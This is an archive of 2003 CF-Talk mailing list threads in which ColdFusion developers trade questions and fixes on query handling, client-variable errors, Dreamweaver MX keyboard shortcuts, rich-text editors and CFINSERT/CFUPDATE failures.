error handling question

2003-06-27 Thread Mark W. Breneman
I have a loop that is doing a db insert.From time to time the data I am
inserting will have some invalid data. So, loop will stop.  What I need to
do is to just skip insert if it can not insert it and keep going with the
loop.

Can cftry/cfcatch do this?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. 
http://www.fusionauthority.com/signup.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



Grabbing stuff between 2 JavaScript comments, Help

2003-06-19 Thread Mark W. Breneman
Drawing a blank on how to do this...

I am trying to grab all of the stuff (HTML and text) between two
JavaScript comments
!-- Start --
This is font color=#FFtest/font btext/b

!-- End --

I thinking that I should be able to do with a regular expression, but the
correct code escapes me.

Anyone have an idea?

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770


~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Host with the leader in ColdFusion hosting. 
Voted #1 ColdFusion host by CF Developers. 
Offering shared and dedicated hosting options. 
www.cfxhosting.com/default.cfm?redirect=10481

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Grabbing stuff between 2 JavaScript comments, Help

2003-06-19 Thread Mark W. Breneman
I got it,  please disregard request for help.

cfoutput#Mid(cfhttp.fileContent, Find(!-- Start --,
cfhttp.fileContent ), Find(!-- End --, cfhttp.fileContent )-Find(!--
Start --, cfhttp.fileContent ))#/cfoutput

Unless there is a better way of doing this?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
Sent: Thursday, June 19, 2003 11:38 AM
To: CF-Talk
Subject: Grabbing stuff between 2 JavaScript comments, Help


Drawing a blank on how to do this...

I am trying to grab all of the stuff (HTML and text) between two
JavaScript comments
!-- Start --
This is font color=#FFtest/font btext/b

!-- End --

I thinking that I should be able to do with a regular expression, but the
correct code escapes me.

Anyone have an idea?

Thanks

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Get the mailserver that powers this list at 
http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



Is there a good way to do this?

2003-06-10 Thread Mark W. Breneman
I need to replace all single quotes with double single quotes in all of the
fields of a query.  I know that I could do it in a query but in this case I
am opting not to.


I have come up with this idea of but I am having a problem with the i[x]
part.  Any ideas?

cfoutput query=getreg 
cfset x=0 
cfloop index=i list=#columnlist#
cfset temp= QuerySetCell(getreg, i, replace(i[x],', '',all), x 
) 
cfset x=x+1 
/cfloop
/cfoutput



Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
http://www.cfhosting.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Is there a good way to do this?

2003-06-10 Thread Mark W. Breneman
Thank you!

I knew it was something simple like that.

Yes, CFSCRIPT is how I should do it.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Philip Arnold [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 10, 2003 3:01 PM
To: CF-Talk
Subject: RE: Is there a good way to do this?


One word - CFSCRIPT

Also, when you refer to a cell in a query with square brackets it's
Query[Field][Row]

So it'd be GetReg[i][x]

 From: Mark W. Breneman [mailto:[EMAIL PROTECTED]

 I need to replace all single quotes with double single quotes
 in all of the fields of a query.  I know that I could do it
 in a query but in this case I am opting not to.

 I have come up with this idea of but I am having a problem
 with the i[x] part.  Any ideas?

 cfoutput query=getreg 
   cfset x=0 
   cfloop index=i list=#columnlist#
   cfset temp= QuerySetCell(getreg, i,
 replace(i[x],', '',all), x ) 
   cfset x=x+1 
   /cfloop
 /cfoutput



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Is there a good way to do this?

2003-06-10 Thread Mark W. Breneman
To be honest, I was not sure if I needed to or not.  I thought about it for
a sec and decided that I was sure it would work with the temp variable.

Is there a rule of thumb to when you have to use a temp var for doing stuff
like that.  I found some function last week that required me to make a temp
var.  (Well maybe it was the version of CF server that forced that.)

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Chris Kief [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 10, 2003 3:26 PM
To: CF-Talk
Subject: RE: Is there a good way to do this?


Why even create the temp variable??

cfset QuerySetCell(...)

chris



-Original Message-
From: S. Isaac Dealey [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 10, 2003 1:14 PM
To: CF-Talk
Subject: Re: Is there a good way to do this?

You weren't too far off...

cfoutput query=getreg 
  cfloop index=i list=#columnlist#
cfset temp= QuerySetCell(getreg,i,
replace(getreg[i][currentrow],',
'',all),currentrow)
  /cfloop
/cfoutput

Sorry for the wrap...

 I need to replace all single quotes with double single
 quotes in all of the
 fields of a query.  I know that I could do it in a query
 but in this case I
 am opting not to.


 I have come up with this idea of but I am having a problem
 with the i[x]
 part.  Any ideas?

 cfoutput query=getreg 
  cfset x=0 
  cfloop index=i list=#columnlist#
  cfset temp= QuerySetCell(getreg, i, replace(i[x],',
  '',all), x ) 
  cfset x=x+1 
  /cfloop
 /cfoutput



 Mark W. Breneman
 -Macromedia Certified ColdFusion Developer
 -Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com
   608.270.9770

 ~~
 ~~~|
 Archives:
 http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
 Subscription: http://www.houseoffusion.com/cf_lists/index.
 cfm?method=subscribeforumid=4
 FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

 This list and all House of Fusion resources hosted by
 CFHosting.com. The place for dependable ColdFusion
 Hosting.
 http://www.cfhosting.com

  Unsubscribe:
http://www.houseoffusion.com/cf_lists/uns
  ubscribe.cfm?user=633.558.4




s. isaac dealey972-490-6624

new epoch  http://www.turnkey.to

lead architect, tapestry cms   http://products.turnkey.to

tapestry api is opensource http://www.turnkey.to/tapi

certified advanced coldfusion 5 developer
http://www.macromedia.com/v1/handlers/index.cfm?ID=21816




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Is there a good way to do this?

2003-06-10 Thread Mark W. Breneman
That seems too simple. :-)

Did it work that way in CF 3? (The ver I learned cf in) I seem to remember
needing the variable part regardless of what you were doing, just to be
valid syntax.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Mosh Teitelbaum [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 10, 2003 4:19 PM
To: CF-Talk
Subject: RE: Is there a good way to do this?


When using a CFSET tag, you only need the variable part if you want to
capture the result of the function/expression.  So, if you were adding 2
numbers, you'd want to have the variable as in:

CFSET sum = 5 + 2

But if the function directly modifies one of its arguments and you don't
need to use the result of the function later in your code, you can leave out
the variable assignment as in:

CFSET QuerySetCell(...)

--
Mosh Teitelbaum
evoch, LLC
Tel: (301) 942-5378
Fax: (301) 933-3651
Email: [EMAIL PROTECTED]
WWW: http://www.evoch.com/


 -Original Message-
 From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
 Sent: Tuesday, June 10, 2003 4:50 PM
 To: CF-Talk
 Subject: RE: Is there a good way to do this?


 To be honest, I was not sure if I needed to or not.  I thought
 about it for
 a sec and decided that I was sure it would work with the temp variable.

 Is there a rule of thumb to when you have to use a temp var for
 doing stuff
 like that.  I found some function last week that required me to
 make a temp
 var.  (Well maybe it was the version of CF server that forced that.)

 Mark W. Breneman
 -Macromedia Certified ColdFusion Developer
 -Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com
   608.270.9770

 -Original Message-
 From: Chris Kief [mailto:[EMAIL PROTECTED]
 Sent: Tuesday, June 10, 2003 3:26 PM
 To: CF-Talk
 Subject: RE: Is there a good way to do this?


 Why even create the temp variable??

 cfset QuerySetCell(...)

 chris



 -Original Message-
 From: S. Isaac Dealey [mailto:[EMAIL PROTECTED]
 Sent: Tuesday, June 10, 2003 1:14 PM
 To: CF-Talk
 Subject: Re: Is there a good way to do this?
 
 You weren't too far off...
 
 cfoutput query=getreg 
   cfloop index=i list=#columnlist#
 cfset temp= QuerySetCell(getreg,i,
 replace(getreg[i][currentrow],',
 '',all),currentrow)
   /cfloop
 /cfoutput
 
 Sorry for the wrap...
 
  I need to replace all single quotes with double single
  quotes in all of the
  fields of a query.  I know that I could do it in a query
  but in this case I
  am opting not to.
 
 
  I have come up with this idea of but I am having a problem
  with the i[x]
  part.  Any ideas?
 
  cfoutput query=getreg 
 cfset x=0 
 cfloop index=i list=#columnlist#
 cfset temp= QuerySetCell(getreg, i, replace(i[x],',
 '',all), x ) 
 cfset x=x+1 
 /cfloop
  /cfoutput
 
 
 
  Mark W. Breneman
  -Macromedia Certified ColdFusion Developer
  -Network / Web Server Administrator
Vivid Media
[EMAIL PROTECTED]
www.vividmedia.com
608.270.9770
 
  ~~
  ~~~|
  Archives:
  http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
  Subscription: http://www.houseoffusion.com/cf_lists/index.
  cfm?method=subscribeforumid=4
  FAQ: http://www.thenetprofits.co.uk/coldfusion/faq
 
  This list and all House of Fusion resources hosted by
  CFHosting.com. The place for dependable ColdFusion
  Hosting.
  http://www.cfhosting.com
 
 Unsubscribe:
 http://www.houseoffusion.com/cf_lists/uns
 ubscribe.cfm?user=633.558.4
 
 
 
 
 s. isaac dealey972-490-6624
 
 new epoch  http://www.turnkey.to
 
 lead architect, tapestry cms   http://products.turnkey.to
 
 tapestry api is opensource http://www.turnkey.to/tapi
 
 certified advanced coldfusion 5 developer
 http://www.macromedia.com/v1/handlers/index.cfm?ID=21816
 
 
 



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: How to add shortcuts to snippets in DW MX

2003-06-09 Thread Mark W. Breneman
Can I assign the Alt key to snippets with this method?

I really really want to use the alt+3 for ##.  I have a series of snippets
mapped to alt keystrokes.  Not being able to assign the snippets to the
keyboard shortcuts I use in studio is one of the main reasons that I have
not moved to DW.  And I WILL NOT until this is fixed.  Yes, I know that I
could learn new shortcuts but, my big meaty hands hurt trying to contort to
use ctrl+shift+3 for ##.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: DURETTE, STEVEN J (AIT) [mailto:[EMAIL PROTECTED]
Sent: Monday, June 09, 2003 7:50 AM
To: CF-Talk
Subject: RE: How to add shortcuts to snippets in DW MX


Massimo,

Since you seem to know a lot about some pretty complicated issues in
dreamweaver maybe you can provide an answer.

Do you know of any way to add the Ctrl-M feature of CFStudio and Homesite
(when in a tag, jump to it's closing tag)?

I have to review and maintain a LOT of code created by contractors and this
feature is critical.  It's the only reason why I haven't moved to
dreamweaver mx (it's installed, just not used).  I'm using homesite+
instead.

Thanks,

Steve


-Original Message-
From: Massimo, Tiziana e Federica [mailto:[EMAIL PROTECTED]
Sent: Sunday, June 08, 2003 10:37 AM
To: CF-Talk
Subject: How to add shortcuts to snippets in DW MX


I know many people complain about this, so, since I tried to cover the issue
in the past, I summarized everything in a single post. I hope it could be
help to fellow developers. Please be free to share this everywhere and post
it on blogs as you see fit (if possible include the whole post, no editing
please)

Adding keyboard shortcuts to snippets is possible with DW MX as well, it's
just a painful process... Here it is:

1) Go in Design View (in order to enable the History Panel)

2) Insert a Snippet

3) Now inside the History Panel you should have an entry for the snippets
insertion

4) Select the entry in the panel and, from the contextual menu, choose Copy
Steps

5) Open an external text editor (Notepad would be fine) and paste

6) Inside the text editor you should now see the API call to the snippet,
something like this:

dw.snippetPalette.insertSnippet('MyFolder\\MySnippet.csn');

7) Quit DW

8) Open the monster menus.xml file inside you local configuration,
typically:

C:\Documents and Settings\username\Application Data\Macromedia\Dreamweaver
MX\Configuration\Menus\Menus.xml

For more details read:

http://www.macromedia.com/support/dreamweaver/ts/documents/multiuser.htm

9) At the very top of the monster menus.xml you can find many entries for
keyboard shortcuts, add something along these lines:

shortcut key=your key combination here
command=dw.snippetPalette.insertSnippet('MyFolder\\MySnippet.csn')
name=My powerful snippet id=anUniqueID /

10) Restart DW, you are done


Final notes:

- Be careful editing menus.xml, never open it in DW!

- Always back up the menus file, DW does it automatically (see Menus.xbk)

- Be careful identifying keyboard combination not already in use

- Each id inside menus.xml must be unique, valid JavaScript variable name


My considerations:

Q: Is it worth?
A: It depends, for me it isn't, but I am definitely a mouse user

Q: Is it a painstaking process?
A: Yes, it is

Q: Shouldn't be easier?
A: Yes, sure, anything is better than this

Q: Shouldn't DW expose this capability from a GUI?
A: Sure, I vote for it!

Q: What we can do?
A: Ask MM, send them hundreds of requests:

http://www.macromedia.com/support/email/wishform/


Massimo Foti
Certified Dreamweaver MX Developer
Certified Advanced ColdFusion MX Developer
http://www.massimocorner.com/




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Get the mailserver that powers this list at 
http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: client variables problem on MX

2003-06-09 Thread Mark W. Breneman
I think I have the same problem with client vars.  But in my case one out of
every ~5000 users gets an error.

null null
The error occurred on line 4.

Line 4 is the title.

Does this sound like the same problem?

I have been trying to track this problem down.

I saw something a few months ago in the MM forums.  I have not hade time to
go back and check it out. This is the first week that I have not been under
the gun to crank projects out.

If you are having the same problem, and find a fix email me. I will do the
same.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Bud [mailto:[EMAIL PROTECTED]
Sent: Monday, June 09, 2003 4:05 PM
To: CF-Talk
Subject: client variables problem on MX


Hi all. I have a ticket into Crystal Tech support on this, but I
thought I'd try for some feedback here also.

What is happening is, client.cfid and client.cftoken are coming up
blank. This is only on Windows on IE 5 and 6, and only when cookies
are enabled.

At login I set a client variable of client.mem_id. When the next user
comes to the site using IE on Windows, he is automatically logged in
as the previous user because CFID and CFTOKEN match for both (they
are blank). UGH!

Anyone run into this? Is this supposed to be happening? I'd expect
not because it only happens on IE.

Is there a way to check if cfid and/or cftoken are blank and manually set
them?
--

Bud Schneehagen - Tropical Web Creations, Inc.

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
Web Based Solutions / eCommerce Development  Hosting
http://www.twcreations.com/ - http://www.cf-ezcart.com/
954.721.3452 - Toll Free: 877.207.6397 - Fax: 954.721.7493

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Get the mailserver that powers this list at 
http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



Any one find a fix for the null null The error occurred on line x error?

2003-06-06 Thread Mark W. Breneman
I just installed updater 3 hoping this null null problem would go away.
But, just got three in a row from the same IP address (same user).

The error simply says:
null null
The error occurred on line 4.

There is no cf code on that line.
only titleWelcome to urbana.org/title

I get this error on different pages. Not just the index.cfm page.

Any thoughts?



Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

This list and all House of Fusion resources hosted by CFHosting.com. The place for 
dependable ColdFusion Hosting.
http://www.cfhosting.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Any one find a fix for the null null The error occurred on line x error?

2003-06-06 Thread Mark W. Breneman
Yes, I do have Client Variables on.  The Client Variables are not used on
the pages that throw the errors. (At least not on the index.cfm page)

Can this cause a problem for some users?

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: B G [mailto:[EMAIL PROTECTED]
Sent: Thursday, June 05, 2003 12:35 PM
To: CF-Talk
Subject: Re: Any one find a fix for the null null The error occurred on
line x error?


Do you have Client Variables on?


From: Mark W. Breneman [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: CF-Talk [EMAIL PROTECTED]
Subject: Any one find a fix for the null null  The error occurred on line
x error?
Date: Thu, 5 Jun 2003 11:43:59 -0500

I just installed updater 3 hoping this null null problem would go away.
But, just got three in a row from the same IP address (same user).

The error simply says:
null null
The error occurred on line 4.

There is no cf code on that line.
only titleWelcome to urbana.org/title

I get this error on different pages. Not just the index.cfm page.

Any thoughts?



Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com
   608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Any one find a fix for the null null The error occurred on line x error?

2003-06-06 Thread Mark W. Breneman
I don't think so.  This site revision has been in production for 9+ months
with thousands of hit a day.  And I  find that there are about 3 of the
null null errors per week on avg. But if I don't reboot the server about
once every two months, it seems that I will get about 20 or so of the null
null errors in a few hours.  After a reboot of there server the problem of
the mass null null go away for a few months.

Thanks
Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: DURETTE, STEVEN J (AIT) [mailto:[EMAIL PROTECTED]
Sent: Thursday, June 05, 2003 1:12 PM
To: CF-Talk
Subject: RE: Any one find a fix for the null null The error occurred on
line x error?


Could it actually be line 4 of the application.cfm or a cfincluded file.

I have had that happen before where MX reported that the error was in one
file, but it was actually in an included file.

Steve


-Original Message-
From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
Sent: Thursday, June 05, 2003 12:44 PM
To: CF-Talk
Subject: Any one find a fix for the null null The error occurred on
line x error?


I just installed updater 3 hoping this null null problem would go away.
But, just got three in a row from the same IP address (same user).

The error simply says:
null null
The error occurred on line 4.

There is no cf code on that line.
only titleWelcome to urbana.org/title

I get this error on different pages. Not just the index.cfm page.

Any thoughts?



Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770



~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Your ad could be here. Monies from ads go to support these lists and provide more 
resources for the community. 
http://www.fusionauthority.com/ads.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Any one find a fix for the null null The error occurred on line x error?

2003-06-06 Thread Mark W. Breneman
Ouch.  I guess I will have to weigh the options and do some testing.  Drive
drywall screws through finger nails or re-code site to use session vars.
thinking

Can anyone confirm that session vars are causing the null null error?

Maybe the aprox. one out of 4000 visitors who see this error is not worth
the time to fix.

Does any one know if MM knows about this? If not, guess I get to report a
another possible bug to MM when I get the time.

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Kola Oyedeji [mailto:[EMAIL PROTECTED]
Sent: Friday, June 06, 2003 3:20 AM
To: CF-Talk
Subject: RE: Any one find a fix for the null null The error occurred on
line x error?


I think switching off client variables is the only fix for this at the
moment


Kola

 -Original Message-
 From: Mark W. Breneman [mailto:[EMAIL PROTECTED]
 Sent: 05 June 2003 19:00
 To: CF-Talk
 Subject: RE: Any one find a fix for the null null The error occurred
on
 line x error?

 Yes, I do have Client Variables on.  The Client Variables are not
used on
 the pages that throw the errors. (At least not on the index.cfm page)

 Can this cause a problem for some users?

 Mark W. Breneman
 -Macromedia Certified ColdFusion Developer
 -Network / Web Server Administrator
   Vivid Media
   [EMAIL PROTECTED]
   www.vividmedia.com
   608.270.9770

 -Original Message-
 From: B G [mailto:[EMAIL PROTECTED]
 Sent: Thursday, June 05, 2003 12:35 PM
 To: CF-Talk
 Subject: Re: Any one find a fix for the null null The error occurred
on
 line x error?


 Do you have Client Variables on?


 From: Mark W. Breneman [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: CF-Talk [EMAIL PROTECTED]
 Subject: Any one find a fix for the null null  The error occurred
on
 line
 x error?
 Date: Thu, 5 Jun 2003 11:43:59 -0500
 
 I just installed updater 3 hoping this null null problem would go
 away.
 But, just got three in a row from the same IP address (same user).
 
 The error simply says:
 null null
 The error occurred on line 4.
 
 There is no cf code on that line.
 only titleWelcome to urbana.org/title
 
 I get this error on different pages. Not just the index.cfm page.
 
 Any thoughts?
 
 
 
 Mark W. Breneman
 -Macromedia Certified ColdFusion Developer
 -Network / Web Server Administrator
Vivid Media
[EMAIL PROTECTED]
www.vividmedia.com
608.270.9770
 
 




~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Signup for the Fusion Authority news alert and keep up with the latest news in 
ColdFusion and related topics. 
http://www.fusionauthority.com/signup.cfm

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: active edit alternatives

2003-06-06 Thread Mark W. Breneman
You might want to check out webedit pro by ektron.
http://www.ektron.com/ewebeditpro.cfm  Very impressive feature set and very
customizable.

They had a Mac version for OS 9 not too long ago I thought. They don't seem
to list that now.  Wonder if they had too many problems with OS X support.
(guessing)

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: joe hobson [mailto:[EMAIL PROTECTED]
Sent: Friday, June 06, 2003 10:18 AM
To: CF-Talk
Subject: active edit alternaitves


Thanks for the realObjects suggestion. That's the only one i've seen so far
that's cross-platform. activEdit gives their excuse about the Mac not
supporting LiveConnect while realObjects finds a work around for the issue.
So who would you trust for maintaing excellent future development?

But i still don't understand why there isn't a basic Flash-based WYSIWYG
editor out there, which theoretically could overcome the browser and
platform compatibility issues much easier. If anyone knows of one, please
speak up.

On a related note, does anyone use activSpell, outside of activEdit?

~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Host with the leader in ColdFusion hosting. 
Voted #1 ColdFusion host by CF Developers. 
Offering shared and dedicated hosting options. 
www.cfxhosting.com/default.cfm?redirect=10481

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Insert and update ? For new CF server

2003-06-06 Thread Mark W. Breneman
I think if you take a 2nd look at the depreciated list for MX you will see
that that cfupdate tag is not depreciated, rather only one or two of its
attributes.

I use CFupdate on every project I do. I have very very few problems with it.
(Other then the MX requiring the  Primary key field to be in the formfields.
Please MM fix this soon)

Mark W. Breneman
-Macromedia Certified ColdFusion Developer
-Network / Web Server Administrator
  Vivid Media
  [EMAIL PROTECTED]
  www.vividmedia.com
  608.270.9770

-Original Message-
From: Jim Kraft [mailto:[EMAIL PROTECTED]
Sent: Friday, June 06, 2003 2:09 PM
To: CF-Talk
Subject: RE: Insert and update ? For new CF server


If you do not use cfinsert and cfupdate, what tags are there to make it
work.  Also in the documentation it says these tags are depreciated.  Does
anyone know what that means.  Progress :-)


I try do not use CFINSERT or CFUPDATE.

-Original Message-
From: Jim Kraft [mailto:[EMAIL PROTECTED]
Sent: Friday, June 06, 2003 9:00 AM
To: CF-Talk
Subject: Insert and update ? For new CF server


I have been using cold Fusion 3.X for years and just upgraded to a server
with the latest version.  All of my queries worked fine on the old version
but now I get this error message on my insert.  Is there something I need to
do with the code or is it in the server.  Thanks for any assistance.


Error Executing Database Query.

[MERANT][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft
Access Driver] Operation must use an updateable query.

The Error Occurred in D:\wwwroot\Kraft\Qtr Report 2003\InsertQR2003.cfm:
line 14

12 : body bgcolor=FF
13 : img src=../images2/banner.JPG width=700 height=114
14 : CFINSERT DATASOURCE=QtrReport2003 TableName=2003QR
15 :
16 : CFQUERY NAME=GetEnteredRecordID DATASOURCE=QtrReport2003




SQL   insert into 2003QR (NAME,PASSWORD) values ( (param 1) , (param 2) )
DATASOURCE   QtrReport2003
VENDORERRORCODE   -3035
SQLSTATE   HY000

It also will run the update pages   it gives the following error message.

Error Executing Database Query.

[MERANT][SequeLink JDBC Driver][ODBC Socket][Microsoft][ODBC Microsoft
Access Driver] Operation must use an updateable query.

The Error Occurred in D:\wwwroot\Kraft\Qtr Report 2003\UpdateQR2003.cfm:
line 14

12 : body bgcolor=FF
13 : img src=../images2/banner.JPG width=700 height=114
14 : CFUpdate DATASOURCE=QtrReport2003 TableName=2003QR
15 :
16 : CFQUERY NAME=GetUpdate DATASOURCE=QtrReport2003


SQL   update 2003QR set ACTUALHOURS1= (param 1) ,BRANDING1= (param 2)
,NOTINBUS1= (param

DATASOURCE   QtrReport2003
VENDORERRORCODE   -3035
SQLSTATE   HY000

Jim Kraft, Director
Region 8 SBDC
33 South 3rd St.
Richmond, IN 47374
765-962-2887  fax 765-966-0882
[EMAIL PROTECTED]   http://www.sbdc1.org





~|
Archives: http://www.houseoffusion.com/cf_lists/index.cfm?forumid=4
Subscription: 
http://www.houseoffusion.com/cf_lists/index.cfm?method=subscribeforumid=4
FAQ: http://www.thenetprofits.co.uk/coldfusion/faq

Get the mailserver that powers this list at 
http://www.coolfusion.com

Unsubscribe: 
http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4



RE: Red Sky Preview, Known Issues Update, and Installation Supp ort

2003-06-04 Thread Mark W. Breneman
Ok, so how do I get an issue on to that list?

